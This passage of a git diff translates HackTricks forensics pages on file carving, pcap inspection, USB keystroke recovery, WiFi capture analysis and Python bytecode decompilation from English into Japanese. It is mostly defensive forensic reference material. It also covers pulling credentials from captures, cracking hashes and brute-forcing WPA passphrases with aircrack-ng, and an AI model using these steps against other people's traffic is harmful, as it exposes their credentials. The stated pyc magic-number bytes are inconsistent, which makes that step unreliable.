[**Autopsy**](https://www.autopsy.com/download/). Download it, install it and make it ingest the file to find "hidden" files. Note that Autopsy is built to support disk images and other kinds of images, but not simple files. +フォレンジックで画像からファイルを抽出するために最も一般的に使用されるツールは [**Autopsy**](https://www.autopsy.com/download/) です。ダウンロードしてインストールし、ファイルを取り込んで「隠れた」ファイルを見つけます。Autopsyはディスクイメージや他の種類のイメージをサポートするように構築されていますが、単純なファイルには対応していないことに注意してください。 ### Binwalk -**Binwalk** is a tool for analyzing binary files to find embedded content. It's installable via `apt` and its source is on [GitHub](https://github.com/ReFirmLabs/binwalk). +**Binwalk** は、埋め込まれたコンテンツを見つけるためにバイナリファイルを分析するツールです。`apt`を介してインストール可能で、そのソースは [GitHub](https://github.com/ReFirmLabs/binwalk) にあります。 **Useful commands**: - ```bash sudo apt install binwalk #Insllation binwalk file #Displays the embedded data in the given file binwalk -e file #Displays and extracts some files from the given file binwalk --dd ".*" file #Displays and extracts all files from the given file ``` - ### Foremost -Another common tool to find hidden files is **foremost**. You can find the configuration file of foremost in `/etc/foremost.conf`. If you just want to search for some specific files uncomment them. If you don't uncomment anything foremost will search for its default configured file types. - +もう一つの一般的なツールは**foremost**です。foremostの設定ファイルは`/etc/foremost.conf`にあります。特定のファイルを検索したい場合は、それらのコメントを外してください。何もコメントを外さなければ、foremostはデフォルトで設定されたファイルタイプを検索します。 ```bash sudo apt-get install foremost foremost -v -i file.img -o output #Discovered files will appear inside the folder "output" ``` +### **スカルペル** -### **Scalpel** - -**Scalpel** is another tool that can be used to find and extract **files embedded in a file**. In this case, you will need to uncomment from the configuration file (_/etc/scalpel/scalpel.conf_) the file types you want it to extract. - +**スカルペル**は、**ファイルに埋め込まれたファイル**を見つけて抽出するために使用できる別のツールです。この場合、抽出したいファイルタイプを設定ファイル (_/etc/scalpel/scalpel.conf_) からコメント解除する必要があります。 ```bash sudo apt-get install scalpel scalpel file.img -o output ``` - ### Bulk Extractor -This tool comes inside kali but you can find it here: [https://github.com/simsong/bulk_extractor](https://github.com/simsong/bulk_extractor) - -This tool can scan an image and will **extract pcaps** inside it, **network information (URLs, domains, IPs, MACs, mails)** and more **files**. You only have to do: +このツールはKaliに含まれていますが、ここでも見つけることができます: [https://github.com/simsong/bulk_extractor](https://github.com/simsong/bulk_extractor) +このツールはイメージをスキャンし、その中にある**pcaps**を**抽出**し、**ネットワーク情報(URL、ドメイン、IP、MAC、メール)**やその他の**ファイル**を取得します。あなたがする必要があるのは: ``` bulk_extractor memory.img -o out_folder ``` - -Navigate through **all the information** that the tool has gathered (passwords?), **analyse** the **packets** (read[ **Pcaps analysis**](../pcap-inspection/)), search for **weird domains** (domains related to **malware** or **non-existent**). +すべての情報(パスワードなど)をツールが収集したものをナビゲートし、パケットを分析し([**Pcaps分析**](../pcap-inspection/)を読む)、奇妙なドメイン(マルウェアや存在しないドメインに関連する)を検索します。 ### PhotoRec -You can find it in [https://www.cgsecurity.org/wiki/TestDisk_Download](https://www.cgsecurity.org/wiki/TestDisk_Download) +[https://www.cgsecurity.org/wiki/TestDisk_Download](https://www.cgsecurity.org/wiki/TestDisk_Download)で見つけることができます。 -It comes with GUI and CLI versions. You can select the **file-types** you want PhotoRec to search for. +GUIとCLIのバージョンがあります。PhotoRecが検索するファイルタイプを選択できます。 ![](<../../../images/image (524).png>) ### binvis -Check the [code](https://code.google.com/archive/p/binvis/) and the [web page tool](https://binvis.io/#/). +[コード](https://code.google.com/archive/p/binvis/)と[ウェブページツール](https://binvis.io/#/)を確認してください。 -#### Features of BinVis +#### BinVisの特徴 -- Visual and active **structure viewer** -- Multiple plots for different focus points -- Focusing on portions of a sample -- **Seeing stings and resources**, in PE or ELF executables e. g. -- Getting **patterns** for cryptanalysis on files -- **Spotting** packer or encoder algorithms -- **Identify** Steganography by patterns -- **Visual** binary-diffing +- 視覚的でアクティブな構造ビューア +- 異なる焦点のための複数のプロット +- サンプルの一部に焦点を当てる +- PEまたはELF実行可能ファイルの文字列やリソースを見る +- ファイルの暗号解析のためのパターンを取得 +- パッカーやエンコーダアルゴリズムを特定 +- パターンによるステガノグラフィの識別 +- 視覚的なバイナリ差分 -BinVis is a great **start-point to get familiar with an unknown target** in a black-boxing scenario. +BinVisは、ブラックボックスシナリオで未知のターゲットに慣れるための素晴らしい出発点です。 -## Specific Data Carving Tools +## 特定のデータカービングツール ### FindAES -Searches for AES keys by searching for their key schedules. Able to find 128. 192, and 256 bit keys, such as those used by TrueCrypt and BitLocker. +AESキーのスケジュールを検索することでAESキーを検索します。TrueCryptやBitLockerで使用される128、192、256ビットのキーを見つけることができます。 -Download [here](https://sourceforge.net/projects/findaes/). +[こちらからダウンロード](https://sourceforge.net/projects/findaes/)。 -## Complementary tools +## 補完ツール -You can use [**viu** ](https://github.com/atanunq/viu)to see images from the terminal.\ -You can use the linux command line tool **pdftotext** to transform a pdf into text and read it. +ターミナルから画像を見るために[**viu**](https://github.com/atanunq/viu)を使用できます。\ +PDFをテキストに変換して読むために、Linuxコマンドラインツール**pdftotext**を使用できます。 {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-tools.md b/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-tools.md index f076c885c..6fc725002 100644 --- a/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-tools.md +++ b/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-tools.md @@ -1,74 +1,65 @@ {{#include ../../../banners/hacktricks-training.md}} -# Carving tools +# カービングツール ## Autopsy -The most common tool used in forensics to extract files from images is [**Autopsy**](https://www.autopsy.com/download/). Download it, install it and make it ingest the file to find "hidden" files. Note that Autopsy is built to support disk images and other kind of images, but not simple files. +フォレンジックで画像からファイルを抽出するために最も一般的に使用されるツールは[**Autopsy**](https://www.autopsy.com/download/)です。ダウンロードしてインストールし、ファイルを取り込んで「隠れた」ファイルを見つけてください。Autopsyはディスクイメージやその他の種類のイメージをサポートするように構築されていますが、単純なファイルには対応していません。 ## Binwalk -**Binwalk** is a tool for searching binary files like images and audio files for embedded files and data. -It can be installed with `apt` however the [source](https://github.com/ReFirmLabs/binwalk) can be found on github. -**Useful commands**: - +**Binwalk**は、画像や音声ファイルのようなバイナリファイル内の埋め込まれたファイルやデータを検索するためのツールです。`apt`でインストールできますが、[ソース](https://github.com/ReFirmLabs/binwalk)はgithubにあります。 +**便利なコマンド**: ```bash sudo apt install binwalk #Insllation binwalk file #Displays the embedded data in the given file binwalk -e file #Displays and extracts some files from the given file binwalk --dd ".*" file #Displays and extracts all files from the given file ``` - ## Foremost -Another common tool to find hidden files is **foremost**. You can find the configuration file of foremost in `/etc/foremost.conf`. If you just want to search for some specific files uncomment them. If you don't uncomment anything foremost will search for it's default configured file types. - +もう一つの一般的なツールは**foremost**です。foremostの設定ファイルは`/etc/foremost.conf`にあります。特定のファイルを検索したい場合は、それらのコメントを外してください。何もコメントを外さない場合、foremostはデフォルトで設定されたファイルタイプを検索します。 ```bash sudo apt-get install foremost foremost -v -i file.img -o output #Discovered files will appear inside the folder "output" ``` +## **スカルペル** -## **Scalpel** - -**Scalpel** is another tool that can be use to find and extract **files embedded in a file**. In this case you will need to uncomment from the configuration file \(_/etc/scalpel/scalpel.conf_\) the file types you want it to extract. - +**スカルペル**は、**ファイルに埋め込まれたファイル**を見つけて抽出するために使用できる別のツールです。この場合、抽出したいファイルタイプを設定ファイル \(_/etc/scalpel/scalpel.conf_\) からコメント解除する必要があります。 ```bash sudo apt-get install scalpel scalpel file.img -o output ``` - ## Bulk Extractor -This tool comes inside kali but you can find it here: [https://github.com/simsong/bulk_extractor](https://github.com/simsong/bulk_extractor) - -This tool can scan an image and will **extract pcaps** inside it, **network information\(URLs, domains, IPs, MACs, mails\)** and more **files**. You only have to do: +このツールはKaliに含まれていますが、ここでも見つけることができます: [https://github.com/simsong/bulk_extractor](https://github.com/simsong/bulk_extractor) +このツールはイメージをスキャンし、その中にある**pcaps**を**抽出**し、**ネットワーク情報(URLs、ドメイン、IPs、MACs、メール)**やその他の**ファイル**を取得します。あなたがする必要があるのは: ```text bulk_extractor memory.img -o out_folder ``` - -Navigate through **all the information** that the tool has gathered \(passwords?\), **analyse** the **packets** \(read[ **Pcaps analysis**](../pcap-inspection/)\), search for **weird domains** \(domains related to **malware** or **non-existent**\). +すべての情報をナビゲートします(パスワード?)、パケットを分析します(読み取り[ **Pcaps analysis**](../pcap-inspection/))、奇妙なドメインを検索します(**マルウェア**や**存在しない**ドメインに関連する)。 ## PhotoRec -You can find it in [https://www.cgsecurity.org/wiki/TestDisk_Download](https://www.cgsecurity.org/wiki/TestDisk_Download) +[https://www.cgsecurity.org/wiki/TestDisk_Download](https://www.cgsecurity.org/wiki/TestDisk_Download) で見つけることができます。 -It comes with GUI and CLI version. You can select the **file-types** you want PhotoRec to search for. +GUIとCLIのバージョンが付属しています。PhotoRecに検索させたい**ファイルタイプ**を選択できます。 ![](../../../images/image%20%28524%29.png) -# Specific Data Carving Tools +# 特定のデータカービングツール ## FindAES -Searches for AES keys by searching for their key schedules. Able to find 128. 192, and 256 bit keys, such as those used by TrueCrypt and BitLocker. +キーのスケジュールを検索することによってAESキーを検索します。TrueCryptやBitLockerで使用される128、192、256ビットのキーを見つけることができます。 -Download [here](https://sourceforge.net/projects/findaes/). +[ここからダウンロード](https://sourceforge.net/projects/findaes/)。 -# Complementary tools +# 補完ツール -You can use [**viu** ](https://github.com/atanunq/viu)to see images form the terminal. -You can use the linux command line tool **pdftotext** to transform a pdf into text and read it. +[**viu** ](https://github.com/atanunq/viu)を使用してターミナルから画像を見ることができます。 +Linuxコマンドラインツール**pdftotext**を使用してPDFをテキストに変換し、読むことができます。 {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/pcap-inspection/README.md b/src/forensics/basic-forensic-methodology/pcap-inspection/README.md index 9e6ebd08d..2f64bb679 100644 --- a/src/forensics/basic-forensic-methodology/pcap-inspection/README.md +++ b/src/forensics/basic-forensic-methodology/pcap-inspection/README.md @@ -2,31 +2,25 @@ {{#include ../../../banners/hacktricks-training.md}} -
- -[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. - -{% embed url="https://www.rootedcon.com/" %} - > [!NOTE] -> A note about **PCAP** vs **PCAPNG**: there are two versions of the PCAP file format; **PCAPNG is newer and not supported by all tools**. You may need to convert a file from PCAPNG to PCAP using Wireshark or another compatible tool, in order to work with it in some other tools. +> **PCAP**と**PCAPNG**についての注意: PCAPファイル形式には2つのバージョンがあります; **PCAPNGは新しく、すべてのツールでサポートされているわけではありません**。他のツールで作業するために、Wiresharkや他の互換性のあるツールを使用してPCAPNGからPCAPにファイルを変換する必要があるかもしれません。 ## Online tools for pcaps -- If the header of your pcap is **broken** you should try to **fix** it using: [http://f00l.de/hacking/**pcapfix.php**](http://f00l.de/hacking/pcapfix.php) -- Extract **information** and search for **malware** inside a pcap in [**PacketTotal**](https://packettotal.com) -- Search for **malicious activity** using [**www.virustotal.com**](https://www.virustotal.com) and [**www.hybrid-analysis.com**](https://www.hybrid-analysis.com) +- pcapのヘッダーが**壊れている**場合は、次のリンクを使用して**修正**を試みるべきです: [http://f00l.de/hacking/**pcapfix.php**](http://f00l.de/hacking/pcapfix.php) +- [**PacketTotal**](https://packettotal.com)でpcap内の**情報**を抽出し、**マルウェア**を検索します。 +- [**www.virustotal.com**](https://www.virustotal.com)と[**www.hybrid-analysis.com**](https://www.hybrid-analysis.com)を使用して**悪意のある活動**を検索します。 ## Extract Information -The following tools are useful to extract statistics, files, etc. +次のツールは、統計、ファイルなどを抽出するのに役立ちます。 ### Wireshark > [!NOTE] -> **If you are going to analyze a PCAP you basically must to know how to use Wireshark** +> **PCAPを分析する場合、基本的にWiresharkの使い方を知っておく必要があります** -You can find some Wireshark tricks in: +Wiresharkのトリックを見つけることができます: {{#ref}} wireshark-tricks.md @@ -34,111 +28,93 @@ wireshark-tricks.md ### Xplico Framework -[**Xplico** ](https://github.com/xplico/xplico)_(only linux)_ can **analyze** a **pcap** and extract information from it. For example, from a pcap file Xplico, extracts each email (POP, IMAP, and SMTP protocols), all HTTP contents, each VoIP call (SIP), FTP, TFTP, and so on. +[**Xplico** ](https://github.com/xplico/xplico)_(Linuxのみ)_は、**pcap**を**分析**し、そこから情報を抽出することができます。たとえば、pcapファイルからXplicoは、各メール(POP、IMAP、SMTPプロトコル)、すべてのHTTPコンテンツ、各VoIP通話(SIP)、FTP、TFTPなどを抽出します。 **Install** - ```bash sudo bash -c 'echo "deb http://repo.xplico.org/ $(lsb_release -s -c) main" /etc/apt/sources.list' sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 791C25CE sudo apt-get update sudo apt-get install xplico ``` - -**Run** - +**実行** ``` /etc/init.d/apache2 restart /etc/init.d/xplico start ``` +_**127.0.0.1:9876**_ に _**xplico:xplico**_ の資格情報でアクセスします。 -Access to _**127.0.0.1:9876**_ with credentials _**xplico:xplico**_ - -Then create a **new case**, create a **new session** inside the case and **upload the pcap** file. +次に、**新しいケース**を作成し、ケース内に**新しいセッション**を作成し、**pcap**ファイルを**アップロード**します。 ### NetworkMiner -Like Xplico it is a tool to **analyze and extract objects from pcaps**. It has a free edition that you can **download** [**here**](https://www.netresec.com/?page=NetworkMiner). It works with **Windows**.\ -This tool is also useful to get **other information analysed** from the packets in order to be able to know what was happening in a **quicker** way. +Xplicoと同様に、**pcaps**からオブジェクトを**分析および抽出**するためのツールです。無料版があり、[**こちら**](https://www.netresec.com/?page=NetworkMiner)から**ダウンロード**できます。**Windows**で動作します。\ +このツールは、パケットから**他の情報を分析**して、何が起こっていたのかを**より迅速に**把握するのにも役立ちます。 ### NetWitness Investigator -You can download [**NetWitness Investigator from here**](https://www.rsa.com/en-us/contact-us/netwitness-investigator-freeware) **(It works in Windows)**.\ -This is another useful tool that **analyses the packets** and sorts the information in a useful way to **know what is happening inside**. +[**NetWitness Investigatorをこちらからダウンロード**](https://www.rsa.com/en-us/contact-us/netwitness-investigator-freeware)できます。**(Windowsで動作します)**。\ +これは、パケットを**分析**し、情報を有用な形で整理して、**内部で何が起こっているかを知る**ための別の便利なツールです。 ### [BruteShark](https://github.com/odedshimon/BruteShark) -- Extracting and encoding usernames and passwords (HTTP, FTP, Telnet, IMAP, SMTP...) -- Extract authentication hashes and crack them using Hashcat (Kerberos, NTLM, CRAM-MD5, HTTP-Digest...) -- Build a visual network diagram (Network nodes & users) -- Extract DNS queries -- Reconstruct all TCP & UDP Sessions -- File Carving +- ユーザー名とパスワードの抽出とエンコード (HTTP, FTP, Telnet, IMAP, SMTP...) +- 認証ハッシュを抽出し、Hashcatを使用してクラックします (Kerberos, NTLM, CRAM-MD5, HTTP-Digest...) +- ビジュアルネットワークダイアグラムを構築 (ネットワークノードとユーザー) +- DNSクエリを抽出 +- すべてのTCPおよびUDPセッションを再構築 +- ファイルカービング ### Capinfos - ``` capinfos capture.pcap ``` - ### Ngrep -If you are **looking** for **something** inside the pcap you can use **ngrep**. Here is an example using the main filters: - +pcap内で**何か**を**探している**場合は、**ngrep**を使用できます。以下は主要なフィルターを使用した例です: ```bash ngrep -I packets.pcap "^GET" "port 80 and tcp and host 192.168 and dst host 192.168 and src host 192.168" ``` +### カービング -### Carving - -Using common carving techniques can be useful to extract files and information from the pcap: +一般的なカービング技術を使用することで、pcapからファイルや情報を抽出するのに役立ちます: {{#ref}} ../partitions-file-systems-carving/file-data-carving-recovery-tools.md {{#endref}} -### Capturing credentials +### 認証情報のキャプチャ -You can use tools like [https://github.com/lgandx/PCredz](https://github.com/lgandx/PCredz) to parse credentials from a pcap or a live interface. +[https://github.com/lgandx/PCredz](https://github.com/lgandx/PCredz)のようなツールを使用して、pcapまたはライブインターフェースから認証情報を解析できます。 -
- -[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. - -{% embed url="https://www.rootedcon.com/" %} - -## Check Exploits/Malware +## エクスプロイト/マルウェアの確認 ### Suricata -**Install and setup** - +**インストールと設定** ``` apt-get install suricata apt-get install oinkmaster echo "url = http://rules.emergingthreats.net/open/suricata/emerging.rules.tar.gz" >> /etc/oinkmaster.conf oinkmaster -C /etc/oinkmaster.conf -o /etc/suricata/rules ``` - -**Check pcap** - +**pcapを確認する** ``` suricata -r packets.pcap -c /etc/suricata/suricata.yaml -k none -v -l log ``` - ### YaraPcap -[**YaraPCAP**](https://github.com/kevthehermit/YaraPcap) is a tool that +[**YaraPCAP**](https://github.com/kevthehermit/YaraPcap) は、次のことを行うツールです。 -- Reads a PCAP File and Extracts Http Streams. -- gzip deflates any compressed streams -- Scans every file with yara -- Writes a report.txt -- Optionally saves matching files to a Dir +- PCAPファイルを読み取り、Httpストリームを抽出します。 +- gzipは圧縮されたストリームを解凍します。 +- すべてのファイルをyaraでスキャンします。 +- report.txtを書き込みます。 +- 一致するファイルをディレクトリに保存するオプションがあります。 ### Malware Analysis -Check if you can find any fingerprint of a known malware: +既知のマルウェアのフィンガープリントを見つけられるか確認してください: {{#ref}} ../malware-analysis.md @@ -146,12 +122,11 @@ Check if you can find any fingerprint of a known malware: ## Zeek -> [Zeek](https://docs.zeek.org/en/master/about.html) is a passive, open-source network traffic analyzer. Many operators use Zeek as a Network Security Monitor (NSM) to support investigations of suspicious or malicious activity. Zeek also supports a wide range of traffic analysis tasks beyond the security domain, including performance measurement and troubleshooting. +> [Zeek](https://docs.zeek.org/en/master/about.html) は、受動的なオープンソースのネットワークトラフィックアナライザーです。多くのオペレーターは、疑わしいまたは悪意のある活動の調査をサポートするために、Zeekをネットワークセキュリティモニター(NSM)として使用しています。Zeekは、セキュリティドメインを超えたパフォーマンス測定やトラブルシューティングを含む、幅広いトラフィック分析タスクもサポートしています。 -Basically, logs created by `zeek` aren't **pcaps**. Therefore you will need to use **other tools** to analyse the logs where the **information** about the pcaps are. +基本的に、`zeek`によって作成されたログは**pcap**ではありません。したがって、**pcap**に関する**情報**を分析するために、**他のツール**を使用する必要があります。 ### Connections Info - ```bash #Get info about longest connections (add "grep udp" to see only udp traffic) #The longest connection might be of malware (constant reverse shell?) @@ -201,9 +176,7 @@ Score,Source IP,Destination IP,Connections,Avg Bytes,Intvl Range,Size Range,Top 1,10.55.100.111,165.227.216.194,20054,92,29,52,1,52,7774,20053,0,0,0,0 0.838,10.55.200.10,205.251.194.64,210,69,29398,4,300,70,109,205,0,0,0,0 ``` - -### DNS info - +### DNS情報 ```bash #Get info about each DNS request performed cat dns.log | zeek-cut -c id.orig_h query qtype_name answers @@ -220,8 +193,7 @@ cat dns.log | zeek-cut qtype_name | sort | uniq -c | sort -nr #See top DNS domain requested with rita rita show-exploded-dns -H --limit 10 zeek_logs ``` - -## Other pcap analysis tricks +## 他のpcap分析のトリック {{#ref}} dnscat-exfiltration.md @@ -237,10 +209,4 @@ usb-keystrokes.md ​ -
- -[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. - -{% embed url="https://www.rootedcon.com/" %} - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/pcap-inspection/usb-keyboard-pcap-analysis.md b/src/forensics/basic-forensic-methodology/pcap-inspection/usb-keyboard-pcap-analysis.md index 9f63fbab3..6ca3f3bc0 100644 --- a/src/forensics/basic-forensic-methodology/pcap-inspection/usb-keyboard-pcap-analysis.md +++ b/src/forensics/basic-forensic-methodology/pcap-inspection/usb-keyboard-pcap-analysis.md @@ -1,12 +1,12 @@ {{#include ../../../banners/hacktricks-training.md}} -If you have a pcap of a USB connection with a lot of Interruptions probably it is a USB Keyboard connection. +USB接続のpcapに多くの中断がある場合、おそらくそれはUSBキーボード接続です。 -A wireshark filter like this could be useful: `usb.transfer_type == 0x01 and frame.len == 35 and !(usb.capdata == 00:00:00:00:00:00:00:00)` +このようなwiresharkフィルターが役立つかもしれません: `usb.transfer_type == 0x01 and frame.len == 35 and !(usb.capdata == 00:00:00:00:00:00:00:00)` -It could be important to know that the data that starts with "02" is pressed using shift. +「02」で始まるデータはシフトを使用して押されたことを知っておくことが重要です。 -You can read more information and find some scripts about how to analyse this in: +これを分析する方法についての情報やスクリプトを見つけることができます: - [https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4](https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4) - [https://github.com/tanc7/HacktheBox_Deadly_Arthropod_Writeup](https://github.com/tanc7/HacktheBox_Deadly_Arthropod_Writeup) diff --git a/src/forensics/basic-forensic-methodology/pcap-inspection/usb-keystrokes.md b/src/forensics/basic-forensic-methodology/pcap-inspection/usb-keystrokes.md index 9c3dba419..c945b5e6a 100644 --- a/src/forensics/basic-forensic-methodology/pcap-inspection/usb-keystrokes.md +++ b/src/forensics/basic-forensic-methodology/pcap-inspection/usb-keystrokes.md @@ -1,17 +1,15 @@ {{#include ../../../banners/hacktricks-training.md}} -If you have a pcap containing the communication via USB of a keyboard like the following one: +USB経由でキーボードの通信を含むpcapがある場合、次のようになります: ![](<../../../images/image (613).png>) -You can use the tool [**ctf-usb-keyboard-parser**](https://github.com/carlospolop-forks/ctf-usb-keyboard-parser) to get what was written in the communication: - +ツール[**ctf-usb-keyboard-parser**](https://github.com/carlospolop-forks/ctf-usb-keyboard-parser)を使用して、通信で書かれた内容を取得できます: ```bash tshark -r ./usb.pcap -Y 'usb.capdata && usb.data_len == 8' -T fields -e usb.capdata | sed 's/../:&/g2' > keystrokes.txt python3 usbkeyboard.py ./keystrokes.txt ``` - -You can read more information and find some scripts about how to analyse this in: +この分析に関する詳細情報やスクリプトは、以下で読むことができます: - [https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4](https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4) - [https://github.com/tanc7/HacktheBox_Deadly_Arthropod_Writeup](https://github.com/tanc7/HacktheBox_Deadly_Arthropod_Writeup) diff --git a/src/forensics/basic-forensic-methodology/pcap-inspection/wifi-pcap-analysis.md b/src/forensics/basic-forensic-methodology/pcap-inspection/wifi-pcap-analysis.md index 36413cf70..60d26143a 100644 --- a/src/forensics/basic-forensic-methodology/pcap-inspection/wifi-pcap-analysis.md +++ b/src/forensics/basic-forensic-methodology/pcap-inspection/wifi-pcap-analysis.md @@ -1,38 +1,36 @@ {{#include ../../../banners/hacktricks-training.md}} -# Check BSSIDs +# BSSIDを確認する -When you receive a capture whose principal traffic is Wifi using WireShark you can start investigating all the SSIDs of the capture with _Wireless --> WLAN Traffic_: +WireSharkを使用してWifiの主なトラフィックをキャプチャした場合、_Wireless --> WLAN Traffic_でキャプチャのすべてのSSIDを調査し始めることができます: ![](<../../../images/image (424).png>) ![](<../../../images/image (425).png>) -## Brute Force - -One of the columns of that screen indicates if **any authentication was found inside the pcap**. If that is the case you can try to Brute force it using `aircrack-ng`: +## ブルートフォース +その画面の列の1つは、**pcap内に認証が見つかったかどうか**を示しています。もしそうであれば、`aircrack-ng`を使用してブルートフォースを試みることができます: ```bash aircrack-ng -w pwds-file.txt -b file.pcap ``` +例えば、PSK(事前共有キー)を保護するWPAパスフレーズを取得し、後でトラフィックを復号化するために必要です。 -For example it will retrieve the WPA passphrase protecting a PSK (pre shared-key), that will be required to decrypt the trafic later. +# ビーコン内のデータ / サイドチャネル -# Data in Beacons / Side Channel +**Wifiネットワークのビーコン内でデータが漏洩していると疑う場合**、次のようなフィルターを使用してネットワークのビーコンを確認できます: `wlan contains `、または `wlan.ssid == "NAMEofNETWORK"` フィルタリングされたパケット内で疑わしい文字列を検索します。 -If you suspect that **data is being leaked inside beacons of a Wifi network** you can check the beacons of the network using a filter like the following one: `wlan contains `, or `wlan.ssid == "NAMEofNETWORK"` search inside the filtered packets for suspicious strings. +# Wifiネットワーク内の不明なMACアドレスを見つける -# Find Unknown MAC Addresses in A Wifi Network - -The following link will be useful to find the **machines sending data inside a Wifi Network**: +次のリンクは、**Wifiネットワーク内でデータを送信しているマシンを見つけるのに役立ちます**: - `((wlan.ta == e8:de:27:16:70:c9) && !(wlan.fc == 0x8000)) && !(wlan.fc.type_subtype == 0x0005) && !(wlan.fc.type_subtype ==0x0004) && !(wlan.addr==ff:ff:ff:ff:ff:ff) && wlan.fc.type==2` -If you already know **MAC addresses you can remove them from the output** adding checks like this one: `&& !(wlan.addr==5c:51:88:31:a0:3b)` +**MACアドレスが既にわかっている場合は、出力からそれらを削除できます**。次のようなチェックを追加します: `&& !(wlan.addr==5c:51:88:31:a0:3b)` -Once you have detected **unknown MAC** addresses communicating inside the network you can use **filters** like the following one: `wlan.addr== && (ftp || http || ssh || telnet)` to filter its traffic. Note that ftp/http/ssh/telnet filters are useful if you have decrypted the traffic. +ネットワーク内で通信している**不明なMAC**アドレスを検出したら、次のような**フィルター**を使用できます: `wlan.addr== && (ftp || http || ssh || telnet)` トラフィックをフィルタリングします。ftp/http/ssh/telnetフィルターは、トラフィックを復号化した場合に便利です。 -# Decrypt Traffic +# トラフィックを復号化する Edit --> Preferences --> Protocols --> IEEE 802.11--> Edit diff --git a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md index ec397e99a..8db1d618e 100644 --- a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md +++ b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md @@ -1,77 +1,61 @@ -# Decompile compiled python binaries (exe, elf) - Retreive from .pyc +# コンパイルされたPythonバイナリ(exe、elf)を逆コンパイルする - .pycから取得 {{#include ../../../banners/hacktricks-training.md}} -
-**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**! - -{% embed url="https://go.intigriti.com/hacktricks" %} - -## From Compiled Binary to .pyc - -From an **ELF** compiled binary you can **get the .pyc** with: +## コンパイルされたバイナリから.pycへ +**ELF**コンパイルバイナリから**.pycを取得**するには: ```bash pyi-archive_viewer # The list of python modules will be given here: [(0, 230, 311, 1, 'm', 'struct'), - (230, 1061, 1792, 1, 'm', 'pyimod01_os_path'), - (1291, 4071, 8907, 1, 'm', 'pyimod02_archive'), - (5362, 5609, 13152, 1, 'm', 'pyimod03_importers'), - (10971, 1473, 3468, 1, 'm', 'pyimod04_ctypes'), - (12444, 816, 1372, 1, 's', 'pyiboot01_bootstrap'), - (13260, 696, 1053, 1, 's', 'pyi_rth_pkgutil'), - (13956, 1134, 2075, 1, 's', 'pyi_rth_multiprocessing'), - (15090, 445, 672, 1, 's', 'pyi_rth_inspect'), - (15535, 2514, 4421, 1, 's', 'binary_name'), +(230, 1061, 1792, 1, 'm', 'pyimod01_os_path'), +(1291, 4071, 8907, 1, 'm', 'pyimod02_archive'), +(5362, 5609, 13152, 1, 'm', 'pyimod03_importers'), +(10971, 1473, 3468, 1, 'm', 'pyimod04_ctypes'), +(12444, 816, 1372, 1, 's', 'pyiboot01_bootstrap'), +(13260, 696, 1053, 1, 's', 'pyi_rth_pkgutil'), +(13956, 1134, 2075, 1, 's', 'pyi_rth_multiprocessing'), +(15090, 445, 672, 1, 's', 'pyi_rth_inspect'), +(15535, 2514, 4421, 1, 's', 'binary_name'), ... ? X binary_name to filename? /tmp/binary.pyc ``` - -In a **python exe binary** compiled you can **get the .pyc** by running: - +**python exe バイナリ** でコンパイルされた場合、次のコマンドを実行することで **.pyc** を取得できます: ```bash python pyinstxtractor.py executable.exe ``` - ## From .pyc to python code -For the **.pyc** data ("compiled" python) you should start trying to **extract** the **original** **python** **code**: - +**.pyc**データ("コンパイルされた" python)については、**元の** **python** **コード**を**抽出**しようとすることから始めるべきです: ```bash uncompyle6 binary.pyc > decompiled.py ``` +**必ず**バイナリが**拡張子**「**.pyc**」を持っていることを確認してください(そうでない場合、uncompyle6は機能しません) -**Be sure** that the binary has the **extension** "**.pyc**" (if not, uncompyle6 is not going to work) - -While executing **uncompyle6** you might find the **following errors**: - -### Error: Unknown magic number 227 +**uncompyle6**を実行していると、**以下のエラー**が発生することがあります: +### エラー: 不明なマジックナンバー 227 ```bash /kali/.local/bin/uncompyle6 /tmp/binary.pyc Unknown magic number 227 in /tmp/binary.pyc ``` +これを修正するには、生成されたファイルの先頭に**正しいマジックナンバー**を**追加する**必要があります。 -To fix this you need to **add the correct magic number** at the beginning of the generated file. - -**Magic numbers vary with the python version**, to get the magic number of **python 3.8** you will need to **open a python 3.8** terminal and execute: - +**マジックナンバーはPythonのバージョンによって異なります**。**Python 3.8**のマジックナンバーを取得するには、**Python 3.8**のターミナルを**開いて実行する**必要があります。 ``` >> import imp >> imp.get_magic().hex() '550d0d0a' ``` +この場合のpython3.8の**マジックナンバー**は**`0x550d0d0a`**です。次に、このエラーを修正するには、**.pycファイル**の**先頭**に次のバイトを**追加**する必要があります: `0x0d550a0d000000000000000000000000` -The **magic number** in this case for python3.8 is **`0x550d0d0a`**, then, to fix this error you will need to **add** at the **beginning** of the **.pyc file** the following bytes: `0x0d550a0d000000000000000000000000` - 